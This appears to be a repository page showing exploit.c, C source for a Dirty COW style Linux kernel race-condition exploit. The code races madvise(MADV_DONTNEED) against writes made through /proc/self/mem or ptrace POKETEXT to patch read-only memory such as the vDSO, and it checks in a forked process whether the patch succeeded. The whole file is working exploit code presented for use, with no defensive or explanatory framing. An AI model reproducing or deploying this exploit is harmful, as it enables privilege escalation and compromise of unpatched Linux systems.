-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.c
165 lines (141 loc) · 4.02 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
//
// Created by explorer on 2022/12/8.
//
// this file do the mate exploit and leave all other mess things outer
#define _GNU_SOURCE
#include "exploit.h"
#include <string.h>
#include <unistd.h>
#include "unit.h"
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sched.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#define LOOP 0x10000
static char child_stack[8192];
int stop;
/*
* Check if vDSO is entirely patched. This function is executed in a different
* memory space thanks to fork(). Return 0 on success, 1 otherwise.
*/
int check(struct mem_vec *vec) {
for (int i = 0; i < LOOP; i++) {
if (memcmp(vec->address, vec->data, vec->size) == 0) {
_exit(0);
}
usleep(100);
}
_exit(1);
}
void *madviseThread(void *_arg) {
struct mem_vec *vec = _arg;
u_int64_t start_addr = (u_int64_t) vec->address & 0xfffffffffffff000;
u_int64_t end_addr = (((u_int64_t) vec->address) + vec->size);
if (end_addr & 0xfff) {
end_addr = (end_addr & 0xfffffffffffff000) + 0x1000;
}
u_int64_t size = end_addr - start_addr;
while (!stop) { // thread will stop by main thread
if (madvise((void *) start_addr, size, MADV_DONTNEED) == -1) {
warn("madvise");
break;
}
}
return NULL;
}
void *memoryWriteThread(void *_arg) {
struct mem_vec *vec = _arg;
int f = open("/proc/self/mem", O_RDWR);
if (f == -1) {
warn("open /proc/self/mem");
}
while (!stop) {
lseek(f, (u_int64_t) vec->address, SEEK_SET);
write(f, vec->data, vec->size);
}
}
int debugMe(void *_arg) {
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) == -1)
warn("prctl(PR_SET_PDEATHSIG)");
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1)
warn("ptrace(PTRACE_TRACEME)");
kill(getpid(), SIGSTOP);
}
void ptrace_patch(pid_t pid, struct mem_vec *vec) {
unsigned char *s = vec->data;
unsigned char *d = vec->address;
int n = vec->size;
while (n > 0) {
if (ptrace(PTRACE_POKETEXT, pid, d, *(long *) s) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
}
n -= sizeof(long);
d += sizeof(long);
s += sizeof(long);
}
}
void *ptraceThread(void *_arg) {
struct mem_vec *vec = _arg;
printf("patch data use ptrace\n");
fflush(stdout);
pid_t pid = clone(debugMe, child_stack + sizeof(child_stack) - 8, CLONE_VM | CLONE_PTRACE, NULL);
if (pid == -1) {
warn("clone child");
}
int status;
if (waitpid(pid, &status, __WALL) == -1) {
warn("wait child");
}
while (!stop) {
ptrace_patch(pid, vec);
}
if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1) {
warn("ptrace(PTRACE_CONT)");
}
if (waitpid(pid, NULL, __WALL) == -1) {
warn("waitpid");
}
}
#include <errno.h>
int patch_memory(struct mem_vec *vec, enum exploit_type type) {
stop = 0; // TODO:fuck
// first start a watch process to watch out memory change
pid_t pid = fork();
if (pid == -1) {
warn("fork");
} else if (pid == 0) { // child
check(vec);
}
pthread_t pth1, pth2;
if (pthread_create(&pth1, NULL, madviseThread, vec)) {
warn("create thread");
}
if (pthread_create(&pth2, NULL, type == PROC_SELF_MEM ? memoryWriteThread : ptraceThread, vec)) {
warn("create thread");
}
int status = 0;
if (waitpid(pid, &status, 0) == -1) {
warn("wait child");
}
stop = 1;
if (pthread_join(pth1, NULL) && pthread_join(pth2, NULL)) {
warn("join thread");
}
/* check result */
int ret = WIFEXITED(status) ? WEXITSTATUS(status) : -1;
if (ret != 0) {
warn("patch failed");
}
}
// we will patch one vec at one time
void exploit(struct mem_vec *vecs, unsigned int size, enum exploit_type type) {
for (int i = 0; i < size; i++) {
struct mem_vec *vec = vecs + i;
printf("patch addr: %p\n", vec->address);
patch_memory(vec, type);
}
}